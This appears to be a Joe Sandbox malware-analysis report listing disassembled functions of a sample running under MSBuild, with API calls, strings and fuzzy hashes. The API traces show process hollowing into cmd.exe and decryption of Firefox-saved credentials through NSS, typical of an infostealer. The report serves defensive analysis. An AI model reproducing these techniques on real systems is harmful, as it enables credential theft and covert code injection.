Opcode Fuzzy Hash: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction Fuzzy Hash: EAE0EDB1A10108BFEB40DBA9D845A9EBBF8EF44254F1440BAE905E3281E670EE009B55

Non-executed Functions

Function 6CBB6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CBB6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CBB6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CBB6D26

Part of subcall function 6CBBCA10: malloc.MOZGLUE(?), ref: 6CBBCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CBB6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CBB6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CBB6D73
free.MOZGLUE(00000000), ref: 6CBB6D80
CertGetNameStringW.CRYPT32 ref: 6CBB6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CBB6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CBB6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CBB6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CBB6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CBB6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CBB6E34
CreateFileW.KERNEL32 ref: 6CBB6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CBB6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CBB6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CBB709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CBB7103
free.MOZGLUE(00000000), ref: 6CBB7153
CloseHandle.KERNEL32(?), ref: 6CBB7176
__Init_thread_footer.LIBCMT ref: 6CBB7209
__Init_thread_footer.LIBCMT ref: 6CBB723A
__Init_thread_footer.LIBCMT ref: 6CBB726B
__Init_thread_footer.LIBCMT ref: 6CBB729C
__Init_thread_footer.LIBCMT ref: 6CBB72DC
__Init_thread_footer.LIBCMT ref: 6CBB730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CBB73C2
VerSetConditionMask.NTDLL ref: 6CBB73F3
VerSetConditionMask.NTDLL ref: 6CBB73FF
VerSetConditionMask.NTDLL ref: 6CBB7406
VerSetConditionMask.NTDLL ref: 6CBB740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CBB741A
moz_xmalloc.MOZGLUE(?), ref: 6CBB755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBB7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CBB7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBB7598
free.MOZGLUE(00000000), ref: 6CBB75AC

Part of subcall function 6CBDAB89: EnterCriticalSection.KERNEL32(6CC2E370,?,?,?,6CBA34DE,6CC2F6CC,?,?,?,?,?,?,?,6CBA3284), ref: 6CBDAB94
Part of subcall function 6CBDAB89: LeaveCriticalSection.KERNEL32(6CC2E370,?,6CBA34DE,6CC2F6CC,?,?,?,?,?,?,?,6CBA3284,?,?,6CBC56F6), ref: 6CBDABD1

Strings

wintrust.dll, xrefs: 6CBB72CD
CryptCATAdminReleaseCatalogContext, xrefs: 6CBB72C8
SHA256, xrefs: 6CBB6EC0
(, xrefs: 6CBB768A

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: d1ad9ea68c98e486df888661cf319483e9fc29f8a6102610525b1a4f79b181e0
Instruction ID: b0ac2dd8a8456708796e083d7373bc91f03769705447adebe05c09fda916cc2e
Opcode Fuzzy Hash: d1ad9ea68c98e486df888661cf319483e9fc29f8a6102610525b1a4f79b181e0
Instruction Fuzzy Hash: 5F5293B1A103589FEB21DF64CC84BAAB7B8EF46704F104199E909B7640DB74AE85CF61

Function 6CBB64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CBB64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CBB64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CBB6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CBB6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CBB652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CBB671C
GetCurrentProcess.KERNEL32 ref: 6CBB6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CBB672F
GetCurrentProcess.KERNEL32 ref: 6CBB6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CBB6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CBB6A80
GetSystemInfo.KERNEL32(?), ref: 6CBB6ABE
__Init_thread_footer.LIBCMT ref: 6CBB6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBB6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBB6AF7

Strings

detoured.dll, xrefs: 6CBB64DA
_etoured.dll, xrefs: 6CBB64ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CBB6798
nvdxgiwrap.dll, xrefs: 6CBB6513
user32.dll, xrefs: 6CBB6526
nvd3d9wrap.dll, xrefs: 6CBB6500

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 2cac7e26dfed4ae2e816107b8fdbec73a7fb2978a94bfab35074bc65e1ee24ee
Instruction ID: 73c07604fd19825e67b233c512325f5b83ce4ba5df1daf9e26a2878f0d0a6319
Opcode Fuzzy Hash: 2cac7e26dfed4ae2e816107b8fdbec73a7fb2978a94bfab35074bc65e1ee24ee
Instruction Fuzzy Hash: 54F1F5709052998FDF24CF25CD48BAAB7B4EF46318F1442A9D809F7641EB35AE84CF91

Function 00415B0B Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 179filestringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415B30
HeapAlloc.KERNEL32(00000000), ref: 00415B37
wsprintfA.USER32 ref: 00415B50
FindFirstFileA.KERNEL32(?,?), ref: 00415B67
StrCmpCA.SHLWAPI(?,00436A98), ref: 00415B88
StrCmpCA.SHLWAPI(?,00436A9C), ref: 00415BA2
CopyFileA.KERNEL32(?,?,00000001), ref: 00415C86

Part of subcall function 0041580D: _memset.LIBCMT ref: 00415845
Part of subcall function 0041580D: _memset.LIBCMT ref: 00415856
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 00415881
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 0041589F
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 004158B3
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 004158C6
Part of subcall function 0041580D: StrStrA.SHLWAPI(00000000), ref: 0041596A

DeleteFileA.KERNEL32(?), ref: 00415CA9
wsprintfA.USER32 ref: 00415BC9

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindNextFileA.KERNEL32(?,?), ref: 00415CD8
FindClose.KERNEL32(?), ref: 00415CEC
lstrcatA.KERNEL32(?), ref: 00415D1A
lstrcatA.KERNEL32(?), ref: 00415D2D
lstrlenA.KERNEL32(?), ref: 00415D39
lstrlenA.KERNEL32(?), ref: 00415D56

Strings

%s\*, xrefs: 00415B4A
%s\%s, xrefs: 00415BC3
K_A, xrefs: 00415DE8

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filelstrcpy$Findlstrlen$Heap_memsetwsprintf$AllocCloseCopyDeleteFirstNextProcessSystemTime
String ID: %s\%s$%s\*$K_A
API String ID: 2636950706-1624741228
Opcode ID: ced04bf2730adabb213893d9fef7c7aec05d546aa0bd8a97aa09d981d4b8c89c
Instruction ID: fe1309143821ccd60cf53d87d26b624eae82bf80c08df25afb7708329c163567
Opcode Fuzzy Hash: ced04bf2730adabb213893d9fef7c7aec05d546aa0bd8a97aa09d981d4b8c89c
Instruction Fuzzy Hash: C7713EB19002289BDF20EF60DD49ACD77B9AF49315F0004EAA609B3151EB76AFC5CF59

Function 6CBCED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CBCEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CBCEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CBD1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBD16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CBD1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CBD1A3E

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 7f51e6042c4ba2f4285f1b91d7d4ffeb7e72eb1828068dc63d2c01124b03fadc
Instruction ID: 0eac1ba8fa09f8e772caffc8b44c4978a8a33b0281d0057dbda66dc6ad801216
Opcode Fuzzy Hash: 7f51e6042c4ba2f4285f1b91d7d4ffeb7e72eb1828068dc63d2c01124b03fadc
Instruction Fuzzy Hash: BAB33A71E04269CFCB14CFA8C890A9DB7B2FF49314F2981A9D449AB745D730AD86CF91

Function 0040F54A Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 130threadinjectionmemoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040F57C
CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,004365A7,00000000,00000000,00000001,00000004,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0040F5A0
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0040F5B2
GetThreadContext.KERNEL32(?,00000000), ref: 0040F5C4
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0040F5E2
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 0040F5F8
ResumeThread.KERNEL32(?), ref: 0040F608
WriteProcessMemory.KERNEL32(?,00000000,a-A,?,00000000), ref: 0040F627
WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0040F65D
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0040F684
SetThreadContext.KERNEL32(?,00000000), ref: 0040F696
ResumeThread.KERNEL32(?), ref: 0040F69F

Strings

a-A, xrefs: 0040F550, 0040F620
C:\Windows\System32\cmd.exe, xrefs: 0040F59B

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process$MemoryThread$Write$AllocContextResumeVirtual$CreateRead_memset
String ID: C:\Windows\System32\cmd.exe$a-A
API String ID: 3621800378-431432405
Opcode ID: c39c767b4fc440431594be31adcdd6aa0aa839711508083770b6d10c9d5435bd
Instruction ID: 1dbec0a9bd52493e5c3d537ba7c19bf6326571b571cf52f9f0c3be7ee7289f1e
Opcode Fuzzy Hash: c39c767b4fc440431594be31adcdd6aa0aa839711508083770b6d10c9d5435bd
Instruction Fuzzy Hash: EF413872A00208AFEB11DFA4DC85FAAB7B9FF48705F144475FA01E6161E776AD448B24

Function 6CBE7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6CBE7ECF, 6CBE8335
data, xrefs: 6CBE8280, 6CBE83E1
schema, xrefs: 6CBE81E3, 6CBE8311
(pre-xul), xrefs: 6CBE7E88

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 567879da6a8c03309ec413cb3bee707e660918923454c8d7d815c7a41dcd9786
Instruction ID: 8865b3cb975f17697375460829e56797eedd6ebfdd28911c80cc84a7a5ef369d
Opcode Fuzzy Hash: 567879da6a8c03309ec413cb3bee707e660918923454c8d7d815c7a41dcd9786
Instruction Fuzzy Hash: 21E180B1A043808FC710CF69884166FF7E9FB89354F14492DE899E7790EBB5DD098B92

Function 0040CD37 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 298filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040CD5C
FindFirstFileA.KERNEL32(?,?), ref: 0040CD73
StrCmpCA.SHLWAPI(?,004374EC), ref: 0040CD94
StrCmpCA.SHLWAPI(?,004374F0), ref: 0040CDAE

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

lstrlenA.KERNEL32(0040D3B5,00436872,004374F4,?,0043686F), ref: 0040CE41
DeleteFileA.KERNEL32(?,0043750C,00436873,?,00437508,00437504,00437500,004374FC), ref: 0040D122
CopyFileA.KERNEL32(?,?,00000001), ref: 0040D136

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

FindNextFileA.KERNEL32(?,?), ref: 0040D23C
FindClose.KERNEL32(?), ref: 0040D250

Strings

%s\*.*, xrefs: 0040CD56

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$lstrcpy$Find$CloseCreatelstrcatlstrlen$AllocCopyDeleteFirstHandleLocalNextObjectReadSingleSizeThreadWaitwsprintf
String ID: %s\*.*
API String ID: 3967855609-1013718255
Opcode ID: 91c9fb112b59a0cf7e3fd6b6c6b00c741b931e7e291f9f84dd46120b86cdb610
Instruction ID: b8f2ff613adb140e2bbdafbaaca5dce4734e9504c972787de113b63e99094c89
Opcode Fuzzy Hash: 91c9fb112b59a0cf7e3fd6b6c6b00c741b931e7e291f9f84dd46120b86cdb610
Instruction Fuzzy Hash: A6D1CB71A4112DABDF20FB25DD46ADD77B5AF44308F4100E6B908B3152DA78AFCA8F94

Function 6CBCD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC2E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CBDD1C5), ref: 6CBCD4F2
LeaveCriticalSection.KERNEL32(6CC2E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CBDD1C5), ref: 6CBCD50B

Part of subcall function 6CBACFE0: EnterCriticalSection.KERNEL32(6CC2E784), ref: 6CBACFF6
Part of subcall function 6CBACFE0: LeaveCriticalSection.KERNEL32(6CC2E784), ref: 6CBAD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CBDD1C5), ref: 6CBCD52E
EnterCriticalSection.KERNEL32(6CC2E7DC), ref: 6CBCD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CBCD6A6
LeaveCriticalSection.KERNEL32(6CC2E7DC), ref: 6CBCD712
LeaveCriticalSection.KERNEL32(6CC2E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CBDD1C5), ref: 6CBCD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CBCD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CBCD82C
<jemalloc>, xrefs: 6CBCD827

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 84f5c468cd019985887c6f0f00a6fa02a8ecea52a19823d171030285931a432f
Instruction ID: c1c2d01803cfb740ccfc1c6ee278b4542cef9224ed1b3c288ff70969f96bf71c
Opcode Fuzzy Hash: 84f5c468cd019985887c6f0f00a6fa02a8ecea52a19823d171030285931a432f
Instruction Fuzzy Hash: 4191BD75B447818FD714CF38D49072AB7F1EB89714F158A2EE59A87A80EB34E845CB83

Function 6CC04EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CC04EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC04F2E
moz_xmalloc.MOZGLUE ref: 6CC04F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CC04F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC052B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC052E6
Sleep.KERNEL32(00000010), ref: 6CC05481
free.MOZGLUE(?), ref: 6CC05498

Strings

(, xrefs: 6CC05250

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: e3da29de73ace1a2e0c147f7c3caccb884aad0e39a17dc6baf0d26396844328a
Instruction ID: e01ab04f5e726f82141cb587d175cd3ac62c83e71c18399c92e90f9547e89f2b
Opcode Fuzzy Hash: e3da29de73ace1a2e0c147f7c3caccb884aad0e39a17dc6baf0d26396844328a
Instruction Fuzzy Hash: 85F1B171A18B508FC716CF39C85062BB7F5BFD6284F058B2EF846A7651EB31D4468B81

Function 0040A7D8 Relevance: 15.1, APIs: 10, Instructions: 94stringencryptionCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040A815
lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A830
CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0040A838
PK11_GetInternalKeySlot.NSS3(?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A846
PK11_Authenticate.NSS3(00000000,00000001,00000000,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A85A
PK11SDR_Decrypt.NSS3(?,?,00000000,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A89A
_memmove.LIBCMT ref: 0040A8BB
lstrcatA.KERNEL32(00436803,00436807,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8E5
PK11_FreeSlot.NSS3(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A8EC
lstrcatA.KERNEL32(00436803,0043680E,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8FB

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

